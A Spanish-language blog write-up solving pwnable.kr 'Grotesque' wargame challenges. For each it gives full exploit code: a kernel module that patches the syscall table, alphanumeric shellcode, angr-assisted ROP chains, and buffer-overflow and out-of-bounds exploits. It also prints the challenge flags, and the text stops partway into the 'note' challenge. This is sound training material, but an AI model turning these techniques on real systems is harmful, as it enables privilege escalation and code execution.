pwnable.kr series (3) - Grotesque
pwnable.kr es un sitio web no comercial que contiene retos enfocados a desarrollar habilidades en explotación binaria, división conocida coloquialmente como “pwn” en sitios afines.
Los retos en pwnable.kr se dividen en cuatro categorías. Ordenadas de la más fácil a la más difícil:
- [Toddler’s Bottle]
- [Rookiss]
- [Grotesque]
- [Hacker’s Secret]
En el artículo anterior presenté las soluciones a la segunda categoría: “Rookiss”. En este continuaré con los retos que pertenecen a “Grotesque”. Esta categoría son versiones más difíciles de lo que se encuentra en la categoría anterior por supuesto, pero aquí hay problemas más específicos, requieren más dominio de los sistemas, ya que no son convencionales. Este artículo será largo, pues cada reto merece su artículo por separado, pero francamente no pienso hacer eso.
rootkit
En un sistema emulado con QEMU en el cual somos root no podemos leer la flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
ls
bin etc lib lost+found sbin usr
dev flag linuxrc rootkit.ko tmp var
/ # uname -r
3.7.1
/ # uname -a
Linux (none) 3.7.1 #1 SMP Mon Dec 23 06:07:19 PST 2013 i686 GNU/Linux
/ # id
uid=0 gid=0 groups=0
/ # cat flag
[ 94.886978] You will not see the flag...
cat: can't open 'flag': Operation not permitted
/ #
El causante de esto es el módulo rootkit.ko que reemplazó las entradas en la SYSCALL_TABLE de sys_open, sys_openat, sys_symlink, sys_symlinkat, sys_link, sys_linkat, sys_rename y sys_renameat por hooks:
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined4 init_module(void)
{
int iVar1;
system_call_table = -0x3ea05fe0;
sys_open = _DAT_c15fa034;
sys_openat = _DAT_c15fa4bc;
sys_symlink = _DAT_c15fa16c;
sys_symlinkat = _DAT_c15fa4e0;
sys_link = _DAT_c15fa044;
sys_linkat = _DAT_c15fa4dc;
sys_rename = _DAT_c15fa0b8;
sys_renameat = _DAT_c15fa4d8;
wp(0);
iVar1 = system_call_table;
*(code **)(system_call_table + 0x14) = sys_open_hoo ked;
*(code **)(iVar1 + 0x49c) = sys_openat_hooked;
*(code **)(iVar1 + 0x14c) = sys_symlink_hooked;
*(code **)(iVar1 + 0x4c0) = sys_symlinkat_hooked;
*(code **)(iVar1 + 0x24) = sys_link_hooked;
*(code **)(iVar1 + 0x4bc) = sys_linkat_hooked;
*(code **)(iVar1 + 0x98) = sys_rename_hooked;
*(code **)(iVar1 + 0x4b8) = sys_renameat_hooked;
wp(1);
*(undefined4 *)(__this_module._4_4_ + 4) = __this_mo dule._8_4_;
*(undefined4 *)__this_module._8_4_ = __this_module. _4_4_;
__this_module._4_4_ = 0x105a4;
__this_module._8_4_ = 0x105a4;
return 0;
}
Los hooks usan strstr para comprobar que si el pathname que usas contiene “flag.txt”, la operación falle, y muestre un mensaje del kernel. Con esto no podemos hacer cat, mv, cp o ln sobre la flag.
Otra idea que puedes tener es crear un patch, desmontar rootkit.ko con rmmod e insertar la version modificada con insmod. El problema con esto es que rmmod (y modprobe) leen /proc/modules para ver los modulos Live, pero en el reto /proc ni siquiera esta montado. Por otro lado cambiar el nombre del modulo de rootkit.ko hace que el kernel se queje de que el modulo esta “truncado”, no estoy seguro por qué ocurre esto.
Finalmente la última opción es compilar un módulo nuevo e insertarlo para restaurar al menos la syscall open. Puesto que el módulo debe ser compilado contra exactamente la misma versión del kernel (que no nos brindan) me fue realmente complicado encontrar la forma correcta.
Necesitaba los headers para linux-3.7.1 de 32 bits. En los repositorios viejos de ubuntu y otras distribuciones no pude encontrar esta versión:
- https://askubuntu.com/questions/1195069/how-can-i-get-kernel-3-7-1-header-files-in-ubuntu-16-04-x32
- https://www.ubuntubuzz.com/2012/12/how-to-install-linux-kernel-371-on.html
Al final no me quedó de otra que compilar a partir del código fuente yo mismo: https://cdn.kernel.org/pub/linux/kernel/v3.x/linux-3.7.1.tar.gz
Probé primero en una Ubuntu Xenial 16.04 pero al intentar construir lo necesario con make recibí varios errores debido a la toolchain usada (gcc y perl muy modernos): https://stackoverflow.com/questions/41980796/cant-use-definedarray-warning-in-converting-obj-to-h
Al final opté por esta vía:
- Virtualizar una imagen de Ubuntu 13.04 (kernel 3.8.0):
- Descargar el código fuente del kernel 3.7.1
- Descargar un paquete generico que aun existe en Internet
- Instalar el paquete .deb con
dpkg -i - Desempaquetar
linux-3.7.1.tar.gz - Copiar
/lib/modules/3.8.1-generic/.configalinux-3.7.1. - Actualizar los repositorios:
1 2 3 4 5
# /etc/apt/sources.list deb http://old-releases.ubuntu.com/ubuntu/ raring main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ raring-updates main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ raring-security main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ raring-backports main restricted universe multiverse
- Instalar
make - Eecutar
makeenlinux-3.7.1para contruir el kernel completo - Crear un modulo .c y un
Makefilepara compilar usando las nuevas cabeceras.
Las versiones de gcc (4.7.3) y perl (~5.14) eran las correctas sin embargo este proceso fue necesario porque:
- Usar
make defconfigno generaba “modversions” y actualizar el.configpara hacerCONFIG_MODVERSIONS=yproducía el mismo error por falta deModule.symvers.: https://askubuntu.com/questions/14627/no-symbol-version-for-module-layout-when-trying-to-load-usbhid-ko - A pesar de usar correctamente esto, contruir solo lo necesario con
make prepare,make modules_prepare,make modulesymake headers_installgeneraba otro error porque la mínima diferencia en las configuraciones en un módulo externamente construido hace que falle la inserción tal y como se explica en https://github.com/lwfinger/rtl8188eu/issues/102 y https://stackoverflow.com/questions/2720177/module-layout-version-incompatibility
Para sobreescribir la página en donde esta la syscall table necesitamos primero deshabilitar el WriteProtect (WP) bit en el registro de control c0 tal y como hace el rootkit:
/ 43: sym.wp ();
| 0x08000300 55 push ebp
| 0x08000301 89e5 mov ebp, esp
| 0x08000303 e8fcffffff call mcount ; RELOC 32 mcount
| 0x08000308 83f801 cmp eax, 1 ; 1
| ,=< 0x0800030b 7413 je 0x8000320
| | 0x0800030d 50 push eax
| | 0x0800030e 0f20c0 mov eax, cr0
| | 0x08000311 25fffffeff and eax, 0xfffeffff
| | 0x08000316 0f22c0 mov cr0, eax
| | 0x08000319 58 pop eax
| | 0x0800031a 5d pop ebp
| | 0x0800031b c3 ret
..
| | ; CODE XREF from sym.wp @ 0x800030b(x)
| `-> 0x08000320 50 push eax
| 0x08000321 0f20c0 mov eax, cr0
| 0x08000324 0d00000100 or eax, 0x10000
| 0x08000329 0f22c0 mov cr0, eax
| 0x0800032c 58 pop eax
| 0x0800032d 5d pop ebp
\ 0x0800032e c3 ret
Para encontrar la direccion original de sys_open usamos kallysyms_lookup_open. En Module.symvers vemos que kallysyms_lookup_open aparece como EXPORT_SYMBOL_GPL, necesita declararse la licencia del módulo para usarlo.
pwn.c:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
unsigned long sys_open; // 0xc1158d70
#define SYS_CALL_TABLE ((void **)0xc15fa020)
#define SYS_OPEN 5
MODULE_LICENSE("GPL"); // needed for kallsyms_lookup_name
int init_module(void) {
printk(KERN_INFO "Hello\n");
// get sys_open address
sys_open = kallsyms_lookup_name("sys_open");
printk(KERN_INFO "sys_open address: 0x%lx\n", sys_open);
// overwrite syscall_table entry for sys_open hooked
__asm__ (
".intel_syntax noprefix;"
"mov eax, cr0;"
"and eax, 0xfffeffff;"
"mov cr0, eax;"
".att_syntax;"
);
SYS_CALL_TABLE[SYS_OPEN] = (void*)sys_open;
// Not necesary, only for consistency
__asm__ (
".intel_syntax noprefix;"
"mov eax, cr0;"
"or eax, 0x10000;"
"mov cr0, eax;"
".att_syntax;"
);
printk(KERN_INFO "Job done\n");
return 0;
}
void cleanup_module(void) { }
Makefile:
1
2
3
4
5
6
7
8
9
10
obj-m += pwn.o
KDIR := /home/rootkit/linux-3.7.1
PWD := $(shell pwd)
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean
R0otK1tty_Swe3ty_KittY
ascii
1
2
3
4
5
6
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Stack Pivot
En “ascii easy” tuvimos que hacer ROP con direcciones ascii a partir de un buffer overflow muy básico. En este caso la dirección base del binario no es ascii asi que no podemos usar gadgets de este.
El programa cargó una region de memoria RWX en 0x8000000 donde copia nuestra entrada:
void main(void)
{
void *rwx_region;
int input;
uint idx;
char *ptr;
rwx_region = mmap((void *)0x80000000,0x1000,7,0x 32,-1,0);
if (rwx_region != (void *)0x80000000) {
puts("mmap failed. tell admin");
/* WARNING: Subroutine does not return * /
_exit(1);
}
printf("Input text : ");
idx = 0;
do {
if (399 < idx) break;
ptr = (char *)(idx + 0x80000000);
input = getchar();
*ptr = (char)input;
idx = idx + 1;
input = is_ascii((int)*ptr);
} while (input != 0);
puts("triggering bug...");
vuln();
return;
}
Nuevamente solo consume hasta que no encuentra un caracter ascii:
undefined4 is_ascii(int char)
{
undefined4 uVar1;
if ((char < 0x20) || (0x7f < char)) {
uVar1 = 0;
}
else {
uVar1 = 1;
}
return uVar1;
}
Y el buffer overflow ocurre aqui:
void vuln(void)
{
char buffer [168];
strcpy(buffer,(char *)0x80000000);
return;
}
En el leave de vuln la dirección ebp + 0x30 contiene un puntero a la región de memoria:
1
2
3
4
5
38:00e0│+028 0xffffce10 —▸ 0x80496e0 (__libc_csu_fini) ◂— push ebx
39:00e4│+02c 0xffffce14 ◂— 0
3a:00e8│+030 0xffffce18 —▸ 0x80000000 ◂— push 0x30 /* 0x3458306a;
pwndbg> x/wx $ebp+0x30
0xffffce18: 0x80000000
Podemos redirigir la ejecución hacia nuestro shellcode sobreescribiendo parcialmente ebp. Queremos que ebp=ebp+0x2c para que en el ret de main entonces eip=[ebp+0x30]=0x8000000:
1
*EBP 0xffa20034 ◂— 0
El último nibble de ebp+0x2c siempre es 4 y lamentablemente strcpy añade un null byte al final de la cadena. Hacer fuerza bruta al ASLR del stack en nuestra condicion nos da una probabilidad de éxito de 1/256*16=1/4096
Nota: Segun la solucion entendida podiamos haber conseguido una probabilidad del 5-10%.
Shellcode Alfanumérico
Fue de gran ayuda el contenido de este blog: https://blackcloud.me/Linux-shellcode-alphanumeric/.
Tomé el shellcode básico de allí y lo modifiqué un poco:
- Pivoteé temporalmente el stack a la región de memoria RWX para agregar
int 0x80en una zona escribible. Esto lo hice porque en el overflowecx=0x800000a0(longitud del buffer local). - Pivoteé de nuevo al stack. Cambie
ecx=NULLporecx={'/bin/sh','-p',NULL}en la llamada aexecveporque la explotacion es local en el servidor y el programa tiene el bit SGID activo. Necesitamos invocar una shell con -p para mantener los privilegios. - Le agregué un jump para redirigir la ejecucion a
int 0x80.
Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
# EAX = 0
# EBX = address of /bin/sh\x00
# ECX = 0x800000a0
# ESI = 0
shellcode = b"j0X40PZRj0X40hXXshXf5wwPj0X4050binHPTXRQSPTUVWaPS"
# set edx = NULL
shellcode += b"ZZ" #asm("pop edx;pop edx;")
# stack pivot
shellcode += asm('push ecx; pop esp;')
shellcode += asm('inc esp') * 10
# set int 0x80
shellcode += asm('pop eax; dec eax; xor ax, 0x4f73; xor ax, 0x3041; push eax')
# stack pivot back to the real stack
shellcode += asm('push ebx; pop esp;')
# set ecx = ["/bin//sh", "-p", NULL]
shellcode += asm("push 0x30305050; pop eax; xor eax, 0x3030207d; push eax; push esp; pop eax;")
shellcode += asm("push esi; push eax; push ebx; push esp; pop ecx")
# set eax = 0xb (execve)
shellcode += asm('push edx; pop eax; xor al, 0x4a; xor al, 0x41;')
# jump to int 0x80
# + 10 + 6
shellcode += b"\x75\x43" # jne 0x45
print(len(shellcode))
# NOP
shellcode += asm('inc esi') * (160 - len(shellcode))
# ECX 0x800000a0 ◂— inc esi /* 0x46464646; 'FFFFFFFF4' */
# ecx points here , esp pivots here
shellcode += asm('inc esi') * 8 + b"\x34\x00"
payload = shellcode
# normally chances are 1/16 (the higher nibble changes)
# but strcpy puts a null byte in the previous byte
# now the chances are 1/256*16 = 1/4096
# payload += b"\x34" # '4' because the last nibble is 4
for _ in range(4096*2):
io = process("./ascii")
io.sendline(payload)
sleep(0.15)
exit_code = io.poll()
if exit_code == None:
print("exit code: ", exit_code)
io.interactive()
io.close()
ARM_ascii_shellc0d3_might_be_possible!
aeg
Este reto consiste en explotar una vulnerabilidad en un binario generado automáticamente. La estrategia para explotarlo es la siguiente:
- Enviar una carga útil que se divide en dos partes:
- Una cabecera de 0x30 bytes que supere ciertas condiciones (usamos
angrpara esto) - Un cuerpo que contiene la ROP chain (una vez las condiciones se cumplen, hay un stack buffer overflow con
memcpy, nuestra carga útil decodificada se encuentra en la sección .bss también y el binario no tiene PIE)
- Una cabecera de 0x30 bytes que supere ciertas condiciones (usamos
- En el cuerpo de la carga útil crear una ROPchain adecuada:
- Hacer stack pivoting para poblar los registros con un gadget especial que nos encontramos.
- Usar
mprotectpara hacer la seccion.bssejecutable. - Redirigir la ejecución a la dirección que contenga nuestro shellcode
- Xorear los bytes de la carga útil para revertir el algoritmo XOR que se usa antes de evaluar las condiciones.
- Convertir la carga util a un volcado hexadecimal.
- Enviar en
argv[1]y esperar la shell.
Partes del código que son generadas aleatoriamente:
- La dirección base del ejecutable
- Las condiciones de la cabecera
- Los bytes con los que se hace XOR a la carga útil
- Los offsets a
rbpdel gadget que usamos para rellenar los registros - El tamaño del buffer local usado por
memcpy
No profundizaré mas en este writeup. Lo que queda sabiendo esto es intentarlo: obtener el binario, descomprimirlo, analizarlo para extraer sus partes dinámicamente generadas, y explotarlo.
Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
from pwn import *
from base64 import b64decode
import angr
import claripy
import re
def parse():
global start_addr, memcpy_addr, byte_odd, byte_even, stack_buffer_len, rdata_addr, decoded_payload_addr, populate_registers, populate_registers_rbp_offset
print(f"[*] Parsing {fname}...")
memcpy_addr = elf.symbols['memcpy']
# start address, decoded payload address
x = subprocess.run("objdump -d aeg -M intel",shell=True, capture_output=True)
dump = x.stdout.decode()
put_rex = '<puts@plt>\n'
hex_rex = '([0-9a-f]*)'
rex = put_rex + '.{0,1024}?' + put_rex
match = re.search(rex, dump , flags = re.DOTALL).group(0)
start_addr = int(re.search(hex_rex + ':', match).group(1), 16)
x = subprocess.run("objdump -d aeg -M intel | grep -B 8 'call.*memcpy' | sed -n '6p' | awk '{print $12}'",shell=True, capture_output=True)
decoded_payload_addr = int(x.stdout.decode(),16) - 0x30
# populate_registers
"""
248a30: 4c 89 4d c0 mov QWORD PTR [rbp-0x40],r9
2248a34: b8 00 00 00 00 mov eax,0x0
2248a39: 5d pop rbp
2248a3a: c3 ret
2248a3b: f3 0f 1e fa endbr64
2248a3f: 55 push rbp
2248a40: 48 89 e5 mov rbp,rsp
2248a43: 48 83 ec 50 sub rsp,0x50
2248a47: 48 89 7d d8 mov QWORD PTR [rbp-0x28],rdi
2248a4b: 48 89 75 d0 mov QWORD PTR [rbp-0x30],rsi
2248a4f: 48 89 55 c8 mov QWORD PTR [rbp-0x38],rdx
2248a53: 48 89 4d c0 mov QWORD PTR [rbp-0x40],rcx
2248a57: 4c 89 45 b8 mov QWORD PTR [rbp-0x48],r8
2248a5b: 4c 89 4d b0 mov QWORD PTR [rbp-0x50],r9
"""
match = re.findall(hex_rex + ":.{0,30}?" + r"mov\s*QWORD PTR \[rbp-0x" + hex_rex + ".{0,10}?r9", dump)
populate_registers = int(match[1][0], 16) + 0x10
populate_registers_rbp_offset = int(match[1][1], 16) - 0x28
# xor bytes used
x = subprocess.run("objdump -d aeg -M intel | grep '83 f0' | awk '{print $4}'",shell=True, capture_output=True)
xl = x.stdout.splitlines()
byte_even = int(xl[0],16)
byte_odd = int(xl[1],16)
# stack buffer size used by memcpy
x = subprocess.run("objdump -d aeg -M intel | grep -B 8 'call.*memcpy' | head -n 1 | awk -F, '{print $2}'",shell=True, capture_output=True)
stack_buffer_len = int(x.stdout.strip()[2:],16)
# .rdata address
x = subprocess.run("readelf -a aeg | grep data | head -n 1 | awk '{print $4}'",shell=True,capture_output=True)
rdata_addr = int(x.stdout.strip(),16)
print("\nData:")
print(f"start_addr = {hex(start_addr)}")
print(f"memcpy_addr = {hex(memcpy_addr)}")
print(f"byte_odd = {hex(byte_odd)}")
print(f"byte_even = {hex(byte_even)}")
print(f"stack_buffer_len = {hex(stack_buffer_len)}")
print(f"rdata_addr = {hex(rdata_addr)}")
print(f"decoded_payload_addr = {hex(decoded_payload_addr)}")
print(f"populate_registers = {hex(populate_registers)}")
print(f"rbp_offset (lowest) = {hex(populate_registers_rbp_offset)}\n")
print(f"[+] File parsed successfully")
def angr_solve(fname,start,win):
global decoded_header
p = angr.Project(fname,auto_load_libs=False)
input = claripy.BVS("input",8*48)
state = p.factory.blank_state(addr=start)
state.memory.store(decoded_payload_addr, input) # decoded payload in .data
state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY)
state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS)
print("[*] Solving with angr...")
simgr = p.factory.simulation_manager(state)
simgr.explore(find=win)
if simgr.found:
found = simgr.found[0]
solution = found.solver.eval(input, cast_to=bytes)
print("[+] angr found the decoded payload")
decoded_header = solution
else:
print("[!] angr failed founding the correct 48 bytes payload")
exit(1)
def xor_payload(payload):
data = bytearray(payload)
for i, byte in enumerate(payload):
if i & 1 == 0:
data[i] = byte ^ byte_even
else:
data[i] = byte ^ byte_odd
return bytes(data)
def pwn():
// https://shell-storm.org/shellcode/files/shellcode-909.html
shellcode = b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x54\x5f\x31\xc0\x50\xb0\x3b\x54\x5a\x54\x5e\x0f\x05"
dynamic_offset = 0x30 + stack_buffer_len + 0x20 + populate_registers_rbp_offset
ropchain = p64(decoded_payload_addr + dynamic_offset)
ropchain += p64(populate_registers)
ropchain += p64(0x10000) # rsi
ropchain += p64(4|2|1) # rdx
ropchain += p64(rdata_addr) # rdi
ropchain += cyclic(populate_registers_rbp_offset)
# rbp - 0x4
ropchain += p64(elf.symbols['mprotect'])
ropchain += p64(decoded_payload_addr + dynamic_offset + 0x18) # shellcode address
ropchain += shellcode
payload = decoded_header
payload += cyclic(stack_buffer_len) # + b"B" * 8
payload += ropchain
payload = xor_payload(payload)
payload = payload.hex().encode()
print(payload)
return payload
def build():
open(f"{fname}.Z","wb").write(b64decode(b64))
subprocess.call(f"gunzip -f {fname}.Z",shell=True)
subprocess.call(f"chmod u+x {fname}",shell=True)
# ===================================================
start_addr = 0
memcpy_addr = 0
stack_buffer_len = 0
decoded_header = b""
byte_even = 0
byte_odd = 0
rdata_addr = 0
decoded_payload_addr = 0
populate_registers = 0
populate_registers_rbp_offset = 0
fname = "aeg"
elf = ELF(fname)
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
io = remote("pwnable.kr", 9005)
b64 = io.recvuntil(b"hurry up!").split(b"\n")[8]
parse()
angr_solve(fname,start_addr,memcpy_addr)
payload = pwn()
print("[*] Sending payload...")
io.sendline(payload)
io.interactive()
else:
b64=open("aeg.b64","rb").read()
parse()
angr_solve(fname,start_addr,memcpy_addr)
payload = pwn()
print("[*] Sending payload...")
io = process(["./aeg",payload.decode()])
io.interactive()
W1ll_AI_4ot0mat1cally_3xploit_Us?
coin2
Aquí hay que aplicar un poco de teoría de la información. Si añadimos todas las monedas que tienen el n-ésimo bit activo en un grupo, entonces ese grupo aporta un bit de información. Basta con pesar dos grupos a la vez ya que log_2 N es el numero de bits que posee N. Siempre que C <= log_2 N esto funciona. Después de pesarlos si el grupo tiene un déficit (posee la moneda falsa) entonces activamos este bit en una variable. Esta variable al final tendrá los bits correctos activados y será igual a la moneda falsa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
io = remote("0.0.0.0", 9008)
def findCounterfeit(N, C):
sets = []
for pos in range(C):
coins = [str(coin) for coin in range(N) if coin & (1 << pos)]
if not coins:
# empty set, send a dummy coin
coins = ["0"]
sets.append(" ".join(coins))
# send C sets grouped by "-"
line = "-".join(sets)
io.sendline(line.encode())
# activate the correct bits
weights_line = io.recvline().decode().strip()
weights = [int(w) for w in weights_line.split("-")]
counterfeit_coin = 0
for pos, w in enumerate(weights):
if w % 10 != 0:
counterfeit_coin |= (1 << pos)
return counterfeit_coin
c = 0
inc = 0
for i in range(100):
try:
line = io.recvline().decode().strip()
while not line.startswith("N="):
line = io.recvline().decode().strip()
N = int(line.split("N=")[1].split()[0])
C = int(line.split("C=")[1].split()[0])
counterfeit_coin = findCounterfeit(N, C)
io.sendline(str(counterfeit_coin).encode())
print(line)
except Exception as e:
print(f"Exception: {e}")
exit(1)
io.interactive()
NoN_4Daptiv3_b1narY_S3arcHing_1s_4ls0_3asY
maze
1
2
3
4
5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
El reto consiste en completar 20 niveles para poder acceder a una función a la que llamaremos record_name con un claro buffer overflow:
void record_name(void)
{
char local_38 [48];
DAT_006020e0 = fopen("record","a+");
printf("record your name : ");
gets(local_38);
fprintf(DAT_006020e0,"PLAYER : %s has PWNED the MAZE\n",local_38);
fclose(DAT_006020e0);
return;
}
Y tenemos una shell por aquí:
void FUN_004017b4(void)
{
system("/bin/sh");
return;
}
Intenté durante un tiempo resolverlo con algoritmos de búsqueda pero no resultó muy bien. Resulta que el código tiene esta función play:
undefined8 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
puts("PLEASE BREAK OUT OF THIS MAZE");
puts("GO TO [] IN ORDER TO EXIT THE MAZE");
puts("WATCH THE GUARDIANS(^^) OF THE MAZE!");
puts("BE CAREFUL AND GOOD LUCK, SEE YOU AT 20 \'th LEVEL...");
puts("PRESS ANY KEY TO START THE GAME");
getchar();
clear_count = 1;
do {
build_maze();
play();
printf("\rlevel %d clear!\n",(ulong)clear_count);
sleep(1);
clear_count = clear_count + 1;
} while (clear_count < 21);
puts("Congratz! you win!");
record_name();
return 0;
}
void play(void)
{
char key;
uint __seed;
int iVar1;
uint local_10;
do {
do {
__seed = rand();
srand(__seed);
for (local_10 = 0; local_10 < guard_number; local_1 0 = local_10 + 1) {
guard_settings(local_10);
}
setting_maps();
iVar1 = player_hit_a_guard();
if (iVar1 == 0) {
puts("you are caught!");
/* WARNING: Subroutine does not return * /
exit(0);
}
iVar1 = getchar();
key = (char)iVar1;
iVar1 = move_player((int)key,(int)player_x,(int)play er_y,0x53);
} while (iVar1 == 0);
(&maze)[(long)(int)player_x + (long)(int)player_y * 0 x10] = 0x30;
if (key == 'd') {
player_x = player_x + 1;
}
else if (key < 'e') {
if (key == 'a') {
player_x = player_x + -1;
}
else {
LAB_00401166:
if ((global_count == 0) && (key == 'O')) {
global_count = 1;
}
else {
if (global_count == 0) {
global_count = 0;
}
if ((global_count == 1) && (key == 'P')) {
global_count = 2;
}
else {
if (global_count == 1) {
global_count = 0;
}
if ((global_count == 2) && (key == 'E')) {
global_count = 3;
}
else {
if (global_count == 2) {
global_count = 0;
}
if ((global_count == 3) && (key == 'N')) {
global_count = 4;
}
else {
if (global_count == 3) {
global_count = 0;
}
if ((global_count == 4) && (key == 'S')) {
global_count = 5;
}
else {
if (global_count == 4) {
global_count = 0;
}
if ((global_count == 5) && (key == 'E')) {
global_count = 6;
}
else {
if (global_count == 5) {
global_count = 0;
}
if ((global_count == 6) && (key == 'S')) {
global_count = 7;
}
else {
if (global_count == 6) {
global_count = 0;
}
if ((global_count == 7) && (key == 'A')) {
global_count = 8;
}
else {
if (global_count == 7) {
global_count = 0;
}
if ((global_count == 8) && (key == 'M')) {
global_count = 9;
}
else {
if (global_count == 8) {
global_count = 0;
}
if ((global_count == 9) && (key == 'I')) {
global_count = 10;
}
else {
if (global_count == 9) {
global_count = 0;
}
// mira esto
if ((((global_count == 10) && (player_y == 14)) && (player_x == 8)) &&
(4 < clear_count)) {
sus_byte = 0x30;
}
else if (global_count == 10) {
global_count = 0;
}
}
}
}
}
}
}
}
}
}
}
}
}
else if (key == 's') {
player_y = player_y + '\x01';
}
else {
if (key != 'w') goto LAB_00401166;
player_y = player_y + -1;
}
if ((&maze)[(long)(int)player_x + (long)(int)player_y * 0x10] == 'E') {
return;
}
(&maze)[(long)(int)player_x + (long)(int)player_y * 0 x10] = 0x53;
printf("player at %d, %d\n",(ulong)(uint)(int)player_x ,(ulong)(uint)(int)player_y);
} while( true );
}
Hay una variable global_count que aumenta si introducimos los caracteres OPENSESAMI en ese orden, y, si de casualidad estamos en esa posición, un byte en 0x00602218 cambia su valor a 0x30, o sea, ‘0’. Si depuramos con gdb o similar el programa vemos que esto lo que hace es “abrir” un muro en la mazmorra! Esto produce un Out Of Bounds. El programa escribe ‘1’ en la casilla ocupada actualmente por el jugador y ‘0’ en la casilla anterior, por lo que podemos “pisar” otras variables, y cambiar sus bytes a 0x30. clear_count se encuentra en 0x006022441, a 44 bytes de el byte “del muro”. Para llegar allí, sobreescribir uno de sus bytes a 0x30 (48) y así ganar al completar el nivel 5, nos desplazamos 2 casillas hacia abajo y 12 a la derecha (2*16+12=44) y luego volvemos por el mismo camino a la salida.
Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
io = process("./maze")
io.sendline()
# reach level 5
p = b's\ns\nd\ns\ns\nd\nd\ns\ns\nd\nd\nw\nw\nd\nd\nw\nw\nd\nw\nw\nd\nd\ns\ns\nd\ns\ns\na\na\ns\ns\ns\nd\nd\ns\nd\nd\ns\ns\ns\na\ns\ns\nd\n'
for _ in range(3):
io.send(p)
io.sendline(b"."*160+b"ssdddwwdddssdssssassasssdddddssdddd")
io.sendline(b"."*70+b"ssdddwwdddssdssssassasssdddddssdddaaaaa")
"""
if ((((global_count == 10) && (player_y == 14)) && (player_x == 8)) &&
(4 < clear_count)) {
sus_byte = 0x30;
}
"""
# Out Of Bounds
io.sendline(b"OPENSESAMI")
# 0x00602244-0x00602218 (magic wall) = 44
# overwrite a byte in 0x00602244 (level count) with '0'(0x30),
# record our name and ROP ASAP to system("/bin/sh")
io.sendline(b"s"*3+b"d"*12+b"a"*12+b"w"*3+b"d"*6+b"Man, Korn surely is amazing!"*2+p64(0x004017c3)+p64(0x004017b4))
io.interactive()
P0cket_protector_prot3ctor_pr0tect0r
wtf
1
2
3
4
5
6
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
undefined8 main(void)
{
undefined buffer [44];
int len;
__isoc99_scanf(&%d,&len);
if (0x20 < len) {
puts("preventing buffer overflow");
len = 0x20;
}
my_fgets(buffer,len);
return 0;
}
El programa comprueba el número de bytes a escribir pero la variable len es un entero con signo, si pasamos un valor negativo acabamos esquivándola.
int my_fgets(long buffer,int len)
{
bool bVar1;
int local_24;
char char;
int local_c;
local_c = 0;
local_24 = len;
while ((bVar1 = local_24 != 0, local_24 = local_24 + -1, bVar1 && (read(0,&char,1), char != '\n'))
) {
*(char *)(local_c + buffer) = char;
local_c = local_c + 1;
}
return local_c;
}
Y el bucle de escritura usa una variable local_24 que contiene la cantidad de bytes a escribir y las disminuye en el bucle. Si local_24 es negativo acabamos escribiendo en buffer[-local_24]. Esto es un OOB que permite sobreescribir la dirección de retorno de my_fgets.
void win(void)
{
system("/bin/cat flag");
return;
}
Con esto sería suficiente para hacer ROP a la función win y obtener la flag pero en remoto solo podemos interactuar con win.py, que toma nuestra entrada y la envía de una vez, por lo que scanf lo captura todo. scanf usa %d, que no limita la cantidad de caracteres que consume,por lo que internamente usa un buffer de 4096 bytes. Sabiendo esto podemos completar el exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
elf = ELF("./wtf")
#io = process([elf.path])
io = remote('pwnable.kr',9015)
# set sign bit to 1 to bypass the length condition
payload = b"-1\n"
# and fill the buffer of 4096 bytes of printf
payload += b"A"*(4096-len(payload))
# Negative OOB allow us to overwrite a return address
ret_gadget=0x00000000004004a7
payload += b"A"*56 + p64(ret_gadget) + p64(elf.sym.win) + b"\n"
sleep(1)
io.recvuntil(b"payload please : ")
io.sendline(payload.hex())
io.interactive()
LIBC_buff3ring_dr1ves_m3_cr4zy
note
1
2
3
4
5
6
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Mmap feng shui
El programa es cargado con linux32:
#include <stdio.h>
#include <unistd.h>
int main(){
char* args[] = {"/usr/bin/setarch", "linux32", "-R", "./note", 0};
execve(args[0], args, 0);
printf("execve failed!. tell admin\n");
return 0;
}
-R desactiva el ASLR y el espacio de direcciones de note es de 32 bits al ejecutarse.
